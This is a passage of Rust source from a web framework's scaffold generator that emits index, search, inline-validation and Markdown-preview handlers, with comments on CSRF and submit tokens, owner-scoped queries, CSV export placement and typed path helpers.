form action=(paths::move_up({route_key_display_expr})) method=\"post\" {{\n\
(csrf_input(csrf.as_ref(), csrf_field.as_ref()))\n\
(submit_token_input(submit_token.as_ref(), submit_field.as_ref()))\n\
(autumn_web::a11y::Button::new({move_up_button}).submit())\n\
}}\n\
form action=(paths::move_down({route_key_display_expr})) method=\"post\" {{\n\
(csrf_input(csrf.as_ref(), csrf_field.as_ref()))\n\
(submit_token_input(submit_token.as_ref(), submit_field.as_ref()))\n\
(autumn_web::a11y::Button::new({move_down_button}).submit())\n\
}}\n\
}}));\n"
)
} else {
index_columns_labeled
};
// #1312: the CSRF pair and the one-time submit-token pair (#1360) the index and search
// handlers thread into `bulk_actions_form`'s hidden fields, injected after `flash:
// Flash,` in the signatures that render the bulk form and empty otherwise. The submit
// token matters here for the same reason it does on create and update:
// `SubmitTokenLayer` waves a tokenless request straight through, so without it a
// double-clicked "Delete selected" runs the whole destructive path — hooks and
// dependent deletes included — twice instead of replaying the first response.
//
// #1349: under `--i18n` the four token extractors collapse into one tuple parameter.
// axum implements `FromRequestParts` for tuples, and its `Handler` impls stop at 16
// arguments: the owner-scoped `search` handler already declares 13, and
// `#[secured]`/`#[get]` inject three more, so adding `locale: Locale` would push it to
// 17 and fail with an unreadable elided-tuple trait error. Destructuring in the
// pattern keeps every use site in the body spelled as before, and only under the flag
// — the plain scaffold's signature stays byte-identical.
//
// #1358: the Move up/down buttons need the same CSRF and submit-token pair as the
// bulk-delete form, since a double-clicked move is exactly the double-submit
// `SubmitTokenLayer` guards against, so this gate and the params it emits are shared
// between the two features. Reusing the identical 4-tuple, rather than a 2-tuple for
// reorder-only, means every emitted param is always used by at least one of the forms.
let bulk_csrf_params = if !bulk_delete_enabled && !reorder_enabled {
String::new()
} else if labels.enabled() {
"\n (csrf, csrf_field, submit_token, submit_field): (Option<CsrfToken>, \
Option<CsrfFormField>, Option<SubmitToken>, Option<SubmitFormField>),"
.to_owned()
} else {
"\n csrf: Option<CsrfToken>,\n csrf_field: Option<CsrfFormField>,\n \
submit_token: Option<SubmitToken>,\n submit_field: Option<SubmitFormField>,"
.to_owned()
};
// The `Option<&str>` conversions `bulk_actions_form` takes for its hidden
// CSRF and submit-token inputs, matching the `csrf_input` /
// `submit_token_input` helpers' field-name defaults.
let bulk_csrf_args = "csrf.as_ref().map(|t| t.token()), csrf_field.as_ref().map(|f| f.0.as_str()), \
submit_token.as_ref().map(|t| t.token()), submit_field.as_ref().map(|f| f.0.as_str())";
// #1126: the data_table config is wired symmetrically with what the server
// applies — `.query(..)` preserves the current filters on sort links,
// `.active_sort`/`.active_dir` mark the column the repository ordered by, and
// `repo.list(&list_query, ..)` applies exactly that sort/filter. Sortable
// headers are opted-in per column by `render_columns_vec`.
let table_render = if live {
String::new()
} else if owner_scoped_index && !owner_scoped_standard {
// #1830 owner-scoped `--sharded`/`--live-validation` index: the handler
// runs a manual owner-filtered query (not a scoped repo method) and does
// not extract `ListQuery`, so its data_table stays on the plain
// (non-sort/filter) config. Wiring owner-scoped sort/filter there is a
// follow-up (issue #1841 covers the standard Db path only).
format!(
r"(autumn_web::widgets::data_table(&page_data.content, &columns, &autumn_web::widgets::DataTableConfig::new({index_empty}).base_path(&paths::index())))"
)
} else {
format!(
r"(autumn_web::widgets::data_table(&page_data.content, &columns, &autumn_web::widgets::DataTableConfig::new({index_empty}).base_path(&paths::index()).query(raw_query.as_deref().unwrap_or_default()).active_sort(list_query.sort().unwrap_or_default()).active_dir(list_query.direction())))"
)
};
let list_render = if live { &live_ul_render } else { &table_render };
// The list and pager block the index handler renders. When searchable (AC3) this
// becomes an `active_search_input` box wired to `GET /{plural}/search`, sitting above
// the single `#{plural}-search-results` container htmx swaps into. It uses the
// input-only `active_search_input`, not the composite `active_search`, which would
// render its own empty `#{plural}-search-results` container and duplicate the id, and
// renders one container here seeded with the initial `{list_render}` and pager
// server-side — so the first paint needs no extra AJAX round-trip, no
// `.initial_load()`, and non-JavaScript visitors still see the full list. The shared
// `crate::layout` does not load htmx, so an htmx `<script>` is inlined here. When not
// searchable, or on a live variant, it is exactly the previous `{list_render}` and
// `pagination_nav` pair, byte for byte (AC4).
//
// #1126: the non-live index handlers preserve the active sort and filter query string
// on the pager links via `PagerOptions::query`, so paging never drops them
// (`pager_query` is bound in each handler from the raw query string). The `--live`
// variants call `repo.page` and extract no `RawQuery`, so they keep the plain pager.
let pager_line = if live {
format!("(pagination_nav(&page_data, &PagerOptions::new(&paths::index()){pager_labels}))")
} else {
format!(
"(pagination_nav(&page_data, &PagerOptions::new(&paths::index()).query(pager_query){pager_labels}))"
)
};
// #1315: the index's "Export CSV" link, and the `let` that builds its href. The link
// carries the index's current query string, so "filter → sort → export" downloads
// exactly the rows on screen rather than the whole table; `pager_query` is the same
// raw query the pager links already preserve. Paging params ride along harmlessly,
// since the export handler extracts no `PageRequest`. Both are empty for a gated-off
// variant, so its index stays byte-identical to its pre-#1315 output. Rendered
// deliberately outside the #1312 bulk-actions `<form>`: a nested `<form>` is invalid
// HTML, and an export is not a selection action.
//
// Where it sits depends on `--searchable`, because the link must never outlive the row
// set it describes:
//
// * Not searchable — page furniture next to "New {pascal_name}". The only things
// that narrow the list are `?sort=` and `?filter[col]=`, both in the URL that
// `pager_query` copies into the href, so a link rendered once with the page stays
// accurate as long as the page does.
//
// * Searchable — inside the `#{plural}-search-results` container instead.
// `active_search_input` swaps that container and pushes no URL, so the search term
// never reaches `pager_query` and `ListQuery` has no field for it. A link left
// outside the container would survive the swap pointing at the unsearched set: the
// user narrows the list, clicks "Export CSV" next to the rows they filtered down
// to, and silently downloads the rows they just excluded. Rendering it inside means
// the swap replaces it — the search fragment emits no link, so searched results
// offer no export, which the generators guide already documents. Clearing the
// search restores the list and its link.
let (export_href_let, export_link) = if export_enabled {
(
" let export_href = if pager_query.is_empty() {\n \
paths::export_csv()\n \
} else {\n \
format!(\"{}?{}\", paths::export_csv(), pager_query)\n \
};\n",
// The explicit `" "` matters: Maud drops template whitespace between
// nodes, so without it the two anchors render as one glued run
// ("New PostExport CSV"). Same separator the generated `show` view
// puts between its "Back to list" and "Edit" links.
format!(
"\n \" \"\n \
(autumn_web::a11y::Link::new(export_href, {export_csv_text}))"
),
)
} else {
("", String::new())
};
// The furniture slot takes the link only when there is no search box to
// invalidate it; otherwise `index_list_block` places it inside the container.
// The two slots differ only in indentation — furniture is a direct child of
// the `html! {` block (8 spaces), the in-results copy is one level deeper
// inside the container `div` (12) — so the generated file stays readable.
let export_link_furniture = if search_enabled {
""
} else {
export_link.as_str()
};
// #1332 AC2: the index's "Trash" link. Page furniture next to "New {pascal_name}":
// unlike "Export CSV" it describes no row set, so a search that swaps the results
// container cannot leave it pointing at stale rows, and it stays outside the #1312
// bulk-actions `<form>`, since a trash page is not a selection action. The explicit
// `" "` separator is the same one the export link and the show view use, because Maud
// drops template whitespace between nodes and the anchors would otherwise render as
// one glued run.
//
// #1393: the index's "Import CSV" link. Page furniture like "Trash", not like "Export
// CSV": it opens an upload form rather than describing the row set on screen, so a
// search that swaps the results container cannot leave it pointing at rows the user has
// filtered away, which is why it stays in the furniture slot even on a searchable
// scaffold. Outside the bulk-actions `<form>` for the same reason the export is.
let import_link_furniture = if import_enabled {
format!(
"\n \" \"\n \
(autumn_web::a11y::Link::new(paths::import_form(), {}))",
labels.lit("common.import.csv", "Import CSV")
)
} else {
String::new()
};
let trash_link_furniture = if trash_enabled {
format!(
"\n \" \"\n \
(autumn_web::a11y::Link::new(paths::trash(), {}))",
labels.lit("common.trash", "Trash")
)
} else {
String::new()
};
let export_link_in_results = if search_enabled {
format!(
"\n \" \"\n \
(autumn_web::a11y::Link::new(export_href, {export_csv_text}))"
)
} else {
String::new()
};
// #1312: the list itself — data_table plus pager — is wrapped in the bulk-actions
// `<form>`, so each row's checkbox submits with the delete-selected button. The "New
// {pascal_name}" link, the htmx `<script>`, and the search box deliberately stay
// outside: they are page furniture, not part of the selection.
//
// When searchable, the form sits inside the `#{plural}-search-results` container htmx
// swaps, not around it. The `/search` fragment is itself a whole `bulk_actions_form`,
// so swapping it into a container that already lived inside a form would nest one
// `<form>` in another, which the parser silently drops. Form-inside-container means
// every swap replaces the form wholesale and the checkboxes always have their submit
// button.
let index_list_block = if search_enabled {
// `export_link_in_results` is the "Export CSV" anchor (empty unless this
// variant emits an export). It goes inside the swapped container but
// outside the bulk-actions `<form>` — an `<a>` nested in a `<form>` is
// legal, but the export is not a selection action and #1312 kept it out
// on purpose. Indentation matches the container's other children; the
// leading `" "` separator inside the fragment is harmless here, where the
// link opens the run rather than following the "New …" anchor.
let inner = if bulk_delete_enabled {
format!(
"div id=\"{plural}-search-results\" {{\n \
(autumn_web::widgets::bulk_actions_form(&bulk_cfg, {bulk_csrf_args}, html! {{\n \
{list_render}\n {pager_line}\n }})){export_link_in_results}\n }}"
)
} else {
format!(
"div id=\"{plural}-search-results\" {{\n {list_render}\n {pager_line}{export_link_in_results}\n }}"
)
};
format!(
"script src=(autumn_web::htmx::HTMX_JS_PATH) {{}}\n \
(autumn_web::widgets::active_search_input(\"{snake_name}-search\", {search_box_label}, \
&autumn_web::widgets::ActiveSearchConfig::new(\"/{plural}/search\", \"#{plural}-search-results\")\
.placeholder({search_box_placeholder})))\n \
{inner}"
)
} else if bulk_delete_enabled {
format!(
"(autumn_web::widgets::bulk_actions_form(&bulk_cfg, {bulk_csrf_args}, html! {{\n {list_render}\n {pager_line}\n }}))"
)
} else {
format!("{list_render}\n {pager_line}")
};
let show_rows = render_show_property_rows(all_fields, &reference_displays, labels);
let show_prop_binds = render_show_property_label_binds(all_fields, snake_name, labels);
// The `show` handler pre-loads each displayable reference's parent label
// (issue #1146) before building its property rows.
let show_label_loads = render_show_reference_label_loads(all_fields, &reference_displays);
// Issue #1830: the owner-scoped index runs a manual owner-filtered query on
// whichever connection the variant threads — `ShardedDb` (pinned to the
// current shard, exactly like the generated `show`/`create` handlers) when
// `--sharded`, `Db` otherwise. Both deref (`&mut *db`) to a diesel-async
// connection the count/load queries run against.
let owner_index_db_param = if sharded {
"mut db: ShardedDb"
} else {
"mut db: Db"
};
let index_handler = if owner_scoped_standard {
// Issue #1841: standard owner-scoped index. Delegates to the macro's
// owner-filtered `list_scoped(owner_id, &list_query, &page_req)` — the
// SECURITY INVARIANT is that this branch NEVER calls the unscoped
// `repo.list`/`repo.page`, so the allowlisted sort/filter and (when
// searchable) the search box can be exposed while every row stays scoped
// to the current user. `owner_id` is resolved from the same
// `PolicyContext` the mutating handlers authorize against.
format!(
r#"/// `GET /{plural}` — paginated, sortable, filterable list of the {snake_name}s
/// the current user owns.
///
/// Accepts `?page=N&size=M` paging plus allowlisted `?sort=col&dir=asc|desc`
/// and `?filter[col]=val` params (the [`ListQuery`] extractor). Unknown or
/// malicious sort/filter keys are ignored against the model's column allowlist,
/// so this never 400s and can never inject SQL. Filtered to the authenticated
/// user's rows (owner column `{owner_col}`) via the repository's owner-scoped
/// `list_scoped` — the same rule the registered `{pascal_name}Scope` enforces
/// for `#[repository(scope = ...)]` index routes. This handler never calls the
/// unscoped `list`/`page`, so it cannot return another user's rows.
#[secured]
#[get("/{plural}")]
#[allow(clippy::too_many_arguments)]
pub async fn index(
{locale_param}list_query: ListQuery,
RawQuery(raw_query): RawQuery,
page_req: PageRequest,
autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,
session: autumn_web::session::Session,
repo: Pg{pascal_name}Repository,
{index_db_param}flash: Flash,{bulk_csrf_params}
) -> AutumnResult<Markup> {{
let ctx = autumn_web::authorization::PolicyContext::from_request(&state, &session).await;
let owner_id = ctx.user_id_i64().unwrap_or(-1);
let page_data: Page<{pascal_name}> = repo.list_scoped(owner_id, &list_query, &page_req).await?;
let pager_query = raw_query.as_deref().unwrap_or("");
{export_href_let}{index_label_loads}{index_columns_labeled}{resource_bind} Ok({layout_fn}({index_title}, {cp_index}{flash_arg}, html! {{
h1 {{ {index_heading} }}
a href=(paths::new()) {{ {new_link_markup} }}{export_link_furniture}{import_link_furniture}
{index_list_block}
}}))
}}"#
)
} else if owner_scoped_index {
// Issue #1125/#1830: owner-scoped index for the `--sharded`/`--live`/
// `--live-validation` variants (whose repositories carry no `owner =`
// attr, so no scoped repo method exists). Pagination is preserved by
// running a `COUNT(*)` + `LIMIT/OFFSET` query filtered to the current
// user's rows, then wrapping the result in `Page::new`. `{list_render}`
// keeps the `--live` SSE `<ul>` island (a data_table for the non-live
// variants), so the SSE broadcast contract is unaffected — only the
// *initial* server-rendered list is owner-scoped.
format!(
r#"/// `GET /{plural}` — paginated list of {snake_name}s the current user owns.
///
/// Accepts `?page=N&size=M` query parameters via the [`PageRequest`] extractor.
/// Out-of-range or missing values are clamped silently — list endpoints never
/// return HTTP 400 for bad paging parameters. Filtered to the authenticated
/// user's rows (owner column `{owner_col}`) — the same rule the registered
/// `{pascal_name}Scope` enforces for `#[repository(scope = ...)]` index routes.
#[secured]
#[get("/{plural}")]
#[allow(clippy::too_many_arguments)]
pub async fn index(
{locale_param}page_req: PageRequest,
autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,
session: autumn_web::session::Session,
{owner_index_db_param},
flash: Flash,
) -> AutumnResult<Markup> {{
let ctx = autumn_web::authorization::PolicyContext::from_request(&state, &session).await;
let owner_id = ctx.user_id_i64().unwrap_or(-1);
let total: i64 = {plural}::table
.filter({plural}::{owner_col}.eq(owner_id))
.count()
.get_result(&mut *db)
.await?;
let items: Vec<{pascal_name}> = {plural}::table
.filter({plural}::{owner_col}.eq(owner_id))
.select({pascal_name}::as_select())
.limit(page_req.limit())
.offset(page_req.offset())
.load(&mut *db)
.await?;
let page_data: Page<{pascal_name}> = Page::new(items, total, &page_req);
{index_label_loads}{index_columns_labeled}{resource_bind} Ok({layout_fn}({index_title}, {cp_index}{flash_arg}, html! {{
h1 {{ {index_heading} }}
(autumn_web::a11y::Link::new("/{plural}/new", {new_link_text}))
{list_render}
(pagination_nav(&page_data, &PagerOptions::new("/{plural}"){pager_labels}))
}}))
}}"#
)
} else if sharded {
if live {
format!(
r#"/// `GET /{plural}` — paginated list of {snake_name}s.
///
/// Accepts `?page=N&size=M` query parameters via the [`PageRequest`] extractor.
/// Out-of-range or missing values are clamped silently — list endpoints never
/// return HTTP 400 for bad paging parameters.
#[get("/{plural}")]
#[allow(clippy::too_many_arguments)]
pub async fn index(
{locale_param}page_req: PageRequest,
db: ShardedDb,
flash: Flash,
) -> AutumnResult<Markup> {{
let repo = Pg{pascal_name}Repository::from_shard(&db);
let page_data: Page<{pascal_name}> = repo.page(&page_req).await?;
{resource_bind} Ok({layout_fn}({index_title}, {cp_index}{flash_arg}, html! {{
h1 {{ {index_heading} }}
(autumn_web::a11y::Link::new(paths::new(), {new_link_text}))
{index_list_block}
}}))
}}"#
)
} else {
format!(
r#"/// `GET /{plural}` — paginated, sortable, filterable list of {snake_name}s.
///
/// Accepts `?page=N&size=M` paging plus allowlisted `?sort=col&dir=asc|desc`
/// and `?filter[col]=val` params (the [`ListQuery`] extractor). Unknown or
/// malicious sort/filter keys are ignored against the model's column allowlist,
/// so this never 400s and can never inject SQL. `from_shard` keeps the query
/// pinned to a single shard.
#[get("/{plural}")]
#[allow(clippy::too_many_arguments)]
pub async fn index(
{locale_param}list_query: ListQuery,
RawQuery(raw_query): RawQuery,
page_req: PageRequest,
{sharded_index_db},
flash: Flash,
) -> AutumnResult<Markup> {{
let repo = Pg{pascal_name}Repository::from_shard(&db);
let page_data: Page<{pascal_name}> = repo.list(&list_query, &page_req).await?;
let pager_query = raw_query.as_deref().unwrap_or("");
{index_label_loads}{index_columns_labeled}{resource_bind} Ok({layout_fn}({index_title}, {cp_index}{flash_arg}, html! {{
h1 {{ {index_heading} }}
(autumn_web::a11y::Link::new(paths::new(), {new_link_text}))
{index_list_block}
}}))
}}"#
)
}
} else if live {
format!(
r#"/// `GET /{plural}` — paginated list of {snake_name}s.
///
/// Accepts `?page=N&size=M` query parameters via the [`PageRequest`] extractor.
/// Out-of-range or missing values are clamped silently — list endpoints never
/// return HTTP 400 for bad paging parameters.
#[get("/{plural}")]
#[allow(clippy::too_many_arguments)]
pub async fn index(
{locale_param}page_req: PageRequest,
repo: Pg{pascal_name}Repository,
flash: Flash,
) -> AutumnResult<Markup> {{
let page_data: Page<{pascal_name}> = repo.page(&page_req).await?;
{resource_bind} Ok({layout_fn}({index_title}, {cp_index}{flash_arg}, html! {{
h1 {{ {index_heading} }}
(autumn_web::a11y::Link::new(paths::new(), {new_link_text}))
{index_list_block}
}}))
}}"#
)
} else {
format!(
r#"/// `GET /{plural}` — paginated, sortable, filterable list of {snake_name}s.
///
/// Accepts `?page=N&size=M` paging plus allowlisted `?sort=col&dir=asc|desc`
/// and `?filter[col]=val` params (the [`ListQuery`] extractor). Unknown or
/// malicious sort/filter keys are ignored against the model's column allowlist,
/// so this never 400s and can never inject SQL.
#[get("/{plural}")]
#[allow(clippy::too_many_arguments)]
pub async fn index(
{locale_param}list_query: ListQuery,
RawQuery(raw_query): RawQuery,
page_req: PageRequest,
repo: Pg{pascal_name}Repository,
{index_db_param}flash: Flash,{bulk_csrf_params}
) -> AutumnResult<Markup> {{
{default_sort_let} let page_data: Page<{pascal_name}> = repo.list(&list_query, &page_req).await?;
let pager_query = raw_query.as_deref().unwrap_or("");
{export_href_let}{index_label_loads}{index_columns_labeled}{resource_bind} Ok({layout_fn}({index_title}, {cp_index}{flash_arg}, html! {{
h1 {{ {index_heading} }}
(autumn_web::a11y::Link::new(paths::new(), {new_link_text})){export_link_furniture}{import_link_furniture}{trash_link_furniture}
{index_list_block}
}}))
}}"#
)
};
// #1126: the non-live index handlers extract `ListQuery` (allowlisted
// sort/filter) and the raw query string (`RawQuery`, to preserve filters on
// the data_table sort links). The pure `--live` index keeps `repo.page` and
// needs neither — omit the imports there to avoid unused-import warnings.
let sort_imports = if live {
String::new()
} else {
"use autumn_web::pagination::ListQuery;\n\
use autumn_web::reexports::axum::extract::RawQuery;\n"
.to_owned()
};
// Imports: when sharded, drop Db from brace-import and add ShardedDb separately.
// The stream handler uses the fully-qualified axum path so no extra IntoResponse
// import is needed.
let db_import = if sharded {
"use autumn_web::flash::{Flash, flash_messages};\n\
use autumn_web::form::{Changeset, IntoChangeset};\n\
use autumn_web::sharding::ShardedDb;\n\
use autumn_web::{AutumnError, AutumnResult, Markup, get, html, post, secured};"
.to_owned()
} else {
"use autumn_web::flash::{Flash, flash_messages};\n\
use autumn_web::form::{Changeset, IntoChangeset};\n\
use autumn_web::{AutumnError, AutumnResult, Db, Markup, get, html, post, secured};"
.to_owned()
};
// Schema imports: the resource's own table, plus each referenced table so
// its rows can be loaded — for the form select options AND for the
// index/show parent-display label loads (issue #1146), which is why this
// uses the display-scoped set (populated even in `--live-validation`, where
// the form select is skipped but the display loads remain). Only present
// targets reach here (`missing_reference_targets` excluded): importing a
// table whose `diesel::table!` entry doesn't exist would fail to compile,
// and a missing target has always been a warning, not an error.
let schema_import = {
let mut extra_tables: BTreeSet<String> = display_reference_fields
.iter()
.filter_map(|f| f.reference_table())
.collect();
extra_tables.remove(plural);
if extra_tables.is_empty() {
plural.to_owned()
} else {
let mut list = plural.to_owned();
for table in extra_tables {
let _ = write!(list, ", {table}");
}
format!("{{{list}}}")
}
};
// When `--live-validation`, emit one inline-validation handler per validated field.
// Each decodes the whole submitted form — htmx's `hx-include="closest form"` posts
// every field, not just the one that changed — via the same `decode_form` that
// `create` and `update` use, builds a `Changeset<{pascal_name}Form>` through the
// struct's derived `#[validate(...)]` rules, and returns `text_input_htmx`'s full
// field wrapper (label, input, inline error) for that one field. Sharing the changeset
// and validator machinery with `create`/`update` keeps the validation rules in one
// place, and the returned markup matches `text_input_htmx`'s `hx-swap="outerHTML"`
// contract — swapping in a bare `<span>` would delete the input it is meant to
// replace. Rich-text columns are excluded (#1255); see the matching filter on
// `validated_field_names` in `plan_scaffold`. Both sides must agree or the mounted
// route set and the emitted handler set drift apart.
let htmx_validated: Vec<(&String, &Vec<String>)> = validations
.iter()
.filter(|(name, _)| {
!fields
.iter()
.any(|f| &&f.name == name && f.kind.is_rich_text())
})
.collect();
let validate_handlers = if live_validation {
let mut vh = String::new();
for (field_name, rules) in &htmx_validated {
let rule_comment = rules.join(", ");
let label = humanize_label(field_name);
let field = fields.iter().find(|f| f.name == **field_name);
// Issue #1750: a DSL-constrained `String`/`Text` field renders in
// the form through the raw-markup constrained control (carrying the
// #1388 HTML5 attributes `minlength`/`maxlength`/`type="email"`), so
// its inline-validation fragment must return the SAME markup —
// otherwise the htmx `outerHTML` swap on the first `change` would
// shed those client-side guards. The swapped-in field re-wires its
// own htmx trigger from the identical `validate_url`.
let constrained = field.and_then(|f| {
html5_constraint_spec(f).and_then(|(input_type, _attrs)| {
// Numerics don't take the htmx path (no wrapper to swap), so
// only the text-family constrained controls need a fragment.
matches!(f.kind, FieldKind::String | FieldKind::Text).then_some((f, input_type))
})
});
let _ = write!(
vh,
"\n\n/// `POST /{plural}/validate/{field_name}` — inline validation fragment.\n"
);
let _ = writeln!(
vh,
"///\n/// Decodes the full submitted form, validates it against the `{rule_comment}`\n\
/// rule declared on `{pascal_name}Form`, and returns the `{field_name}` field's\n\
/// wrapper (input + inline error) for htmx's `hx-swap=\"outerHTML\"` on\n\
/// `hx-trigger=\"change\"` to swap in place."
);
let _ = writeln!(vh, "#[post(\"/{plural}/validate/{field_name}\")]");
let _ = writeln!(
vh,
"pub async fn validate_{field_name}(body: autumn_web::reexports::axum::body::Bytes) -> autumn_web::Markup {{"
);
vh.push_str(" let Ok(form) = decode_form(body) else {\n");
vh.push_str(" return autumn_web::html! {};\n");
vh.push_str(" };\n");
vh.push_str(" let changeset = form.into_changeset();\n");
if let Some((f, input_type)) = constrained {
// The validate endpoint URL is emitted as a typed path-helper
// call expression (issue #1133), spliced into `.hx("post", …)`.
let url = format!("paths::validate_{field_name}()");
let markup = render_live_constrained_field(f, "changeset", input_type, Some(&url));
let _ = writeln!(vh, " autumn_web::html! {{\n {markup}\n }}");
} else {
// Match `render_changeset_form_inputs`'s helper choice: a
// non-nullable field keeps `required`/`aria-required` through the
// htmx round-trip too, otherwise the attribute would vanish from
// the DOM the moment the field's wrapper gets swapped in.
let helper = if field.is_some_and(|f| f.nullable) {
"text_input_htmx"
} else {
"required_text_input_htmx"
};
let _ = writeln!(
vh,
" autumn_web::form::{helper}(&changeset, \"{field_name}\", \"{label}\", &paths::validate_{field_name}())"
);
}
vh.push_str("}\n");
}
vh
} else {
String::new()
};
// Issue #1255: one `POST /{plural}/preview/{field}` fragment endpoint per
// `richtext` column, driving that column's htmx live preview.
//
// The handler decodes the same submitted form the create/update handlers
// do (so the endpoint needs no bespoke request type) and returns the
// field's Markdown rendered through `markdown::render_user_content` — the
// sanitizing helper, identical to the show view. That equality is the whole
// point: what the author sees in the preview is byte-for-byte what a reader
// will see, including anything the allowlist strips.
let preview_handlers = {
let mut ph = String::new();
for f in rich_text_fields(fields) {
let field_name = &f.name;
let _ = write!(
ph,
"\n\n/// `POST /{plural}/preview/{field_name}` — sanitized Markdown preview fragment.\n"
);
let _ = writeln!(
ph,
"///\n/// Decodes the submitted form and returns `{field_name}` rendered through\n\
/// `autumn_web::markdown::render_user_content`, which disables raw-HTML\n\
/// passthrough and runs the output through an allowlist sanitizer. htmx swaps\n\
/// the fragment into `#{field_name}-preview` (`hx-swap=\"innerHTML\"`), so the\n\
/// author previews exactly the markup a reader will get."
);
let _ = writeln!(ph, "#[post(\"/{plural}/preview/{field_name}\")]");
let _ = writeln!(
ph,
"pub async fn preview_{field_name}(body: autumn_web::reexports::axum::body::Bytes) -> autumn_web::Markup {{"
);
// Read ONLY the previewed field, leniently — never `decode_form`.
// The editor `hx-include`s the whole form, so on a fresh `new` page
// every other column arrives blank; deserializing the form struct
// would fail on the first strictly-typed empty field (`count=` into
// an `i64`) and blank the preview until the author had filled in
// every unrelated column (PR #2157 review). A preview performs no
// validation, so it has no reason to need the rest of the form —
// unlike the inline-validation fragments above, which decode the
// whole form precisely because checking `#[validate]` rules is
// their job.
let _ = writeln!(
ph,
" let source = autumn_web::form::field_from_urlencoded(&body, \"{field_name}\")\n .unwrap_or_default();"
);
let _ = writeln!(ph, " autumn_web::markdown::render_user_content(&source)");
ph.push_str("}\n");
}
ph
};
// Issue #1133: emit an `autumn_web::paths![…]` invocation so the routes
// module gains a `pub mod paths` re-exporting each handler's typed
// `__autumn_path_*` companion under a clean short name. Every view href,
// form action, and redirect above calls into this module (e.g.
// `paths::show(id)`), so the resource's URLs have a single source of truth:
// the route-macro path strings. `new_form`/`edit_form`/`destroy` carry
// `name = "new"|"edit"|"delete"` overrides so their helpers read
// `paths::new()`/`paths::edit(id)`/`paths::delete(id)`.
let paths_macro = {
let mut names: Vec<String> = vec![
"index".to_owned(),
"show".to_owned(),
"new".to_owned(),
"create".to_owned(),
"edit".to_owned(),
"update".to_owned(),
"delete".to_owned(),
];
// Issue #1312: `paths::bulk_delete()` backs the index list's bulk form
// action. Gated with the handler, so the `--live`/`--sharded` paths!
// block stays byte-identical.
if bulk_delete_enabled {
names.push("bulk_delete".to_owned());
}
// Issue #1315: `paths::export_csv()` backs the index's "Export CSV"
// link. Gated with the handler, so a gated-off variant's `paths!` block
// stays byte-identical.
if export_enabled {
names.push("export_csv".to_owned());
}
// Issue #1393: `paths::import_form()` backs the index's "Import CSV" link
// and `paths::import()` the upload form's action. Two helpers for one
// URL — the GET and the POST live at the same path, exactly as `index`
// and `create` do — so a reader can tell which verb a call site means.
// Gated with the handlers, so a scaffold without `--import` keeps its
// `paths!` block byte-identical.
if import_enabled {
names.push("import_form".to_owned());
names.push("import".to_owned());
}
// Issue #1332: `paths::trash()` backs the index's "Trash" link and both
// recovery redirects; `paths::restore(id)`/`paths::purge(id)` back the
// per-row controls. Gated with the handlers, so a scaffold without
// `--soft-delete` keeps its `paths!` block byte-identical.
if trash_enabled {
names.push("trash".to_owned());
names.push("restore".to_owned());
names.push("purge".to_owned());
}
// Issue #1358: `paths::move_up(id)`/`paths::move_down(id)` back the
// index's per-row reorder buttons. Gated with the handlers, so a
// scaffold without a `position` field keeps its `paths!` block
// byte-identical.
if reorder_enabled {
names.push("move_up".to_owned());
names.push("move_down".to_owned());
}
if live {
names.push("events".to_owned());
}
// Issue #1323: the nested list/create endpoints the children section
// links and posts to (`paths::nested_index(id)` /
// `paths::nested_create(id)`). Absent without `--belongs-to`, so a flat
// scaffold's `paths!` block stays byte-identical.
if nesting.is_some() {
names.push("nested_index".to_owned());
names.push("nested_create".to_owned());
}
// One inline-validation endpoint per validated field (live-validation
// only), each linked from the form's `.hx("post", paths::validate_{f}())`.
if live_validation {
for (field_name, _) in &htmx_validated {
names.push(format!("validate_{field_name}"));
}
}
// Issue #1255: one preview endpoint per `richtext` column, linked from
// the form's `rich_text_area_htmx(&…, paths::preview_{field}())`.
for f in rich_text_fields(fields) {
names.push(format!("preview_{}", f.name));
}
// Issue #1326: one transition endpoint per state-machine field, linked
// from the show page's `transition_controls` form actions
// (`paths::transition_{field}(id)`).
for f in &sm_fields {
let field = &f.name;
names.push(format!("transition_{field}"));
}
let mut out = String::from("\n\nautumn_web::paths![\n");
for name in &names {
let _ = writeln!(out, " {name},");
}
out.push_str("];\n");
out
};
// #1319: the FTS results handler backing the index `active_search` box. For htmx
// requests it returns just the results fragment, swapped into
// `#{plural}-search-results`; for a plain navigation — a bookmarked search URL, or a
// shared pager link — it returns the full page, so search degrades gracefully without
// JavaScript. An empty `q` falls back to the standard `page(&page_req)` listing (AC3).
// It reuses the same `columns` and reference-label loads the index builds, so search
// rows render identically, and the pager preserves the request's raw query string,
// stripping `page` and `size`, via `PagerOptions::query`, so `q` survives pagination
// with no hand-rolled percent-encoding.
//
// #1312: the fragment htmx swaps into `#{plural}-search-results` is the whole bulk
// form, not just the table. Otherwise the first search would replace the form's
// innards with checkboxes that have no `<form>`, and no submit button, around them,
// silently breaking bulk delete after a search.
let search_results_table = format!(
r#"(autumn_web::widgets::data_table(&page_data.content, &columns, &autumn_web::widgets::DataTableConfig::new({search_empty}).base_path("/{plural}/search")))"#
);
let search_results_pager = format!(
r#"(pagination_nav(&page_data, &PagerOptions::new("/{plural}/search").query(pager_query){pager_labels}))"#
);
let search_results_body = if bulk_delete_enabled {
format!(
"(autumn_web::widgets::bulk_actions_form(&bulk_cfg, {bulk_csrf_args}, html! {{\n \
{search_results_table}\n {search_results_pager}\n }}))"
)
} else {
format!("{search_results_table}\n {search_results_pager}")
};
// Issue #1323: the `--belongs-to` nested surface — the shared
// `children_section` the parent's `show` view renders, the standalone page
// wrapper, and the two nested handlers. Empty for a flat scaffold.
let nested_section = nesting.map_or_else(String::new, |n| {
render_nested_section(
backend,
pascal_name,
snake_name,
plural,
n,
fields,
&reference_fields,
&reference_displays,
route_key_field,
soft_delete,
has_state_machine,
lock_version.is_some(),
!unique_fields.is_empty(),
authorize,
if owner_scoped_index { owner } else { None },
layout_fn,
&cp(&format!("/{}", n.parent_plural)),
flash_arg,
)
});
let search_handler = if search_enabled && owner_scoped_standard {
// Issue #1841: owner-scoped FTS handler for the standard Db path. The
// SECURITY INVARIANT is that this branch calls ONLY the owner-filtered
// repository methods — `repo.search_page_scoped(owner_id, ..)` for a
// query, and `repo.list_scoped(owner_id, ..)` for the empty-query
// fallback — NEVER the unscoped `repo.search_page`/`repo.page`, so the
// `/search` endpoint can never surface another user's rows (the exact
// leak the pre-#1841 rejection guarded against). `owner_id` comes from
// the same `PolicyContext` the mutating handlers authorize against.
let field_list = searchable.join(", ");
format!(
r#"
/// `GET /{plural}/search` — owner-scoped full-text search over {field_list}.
///
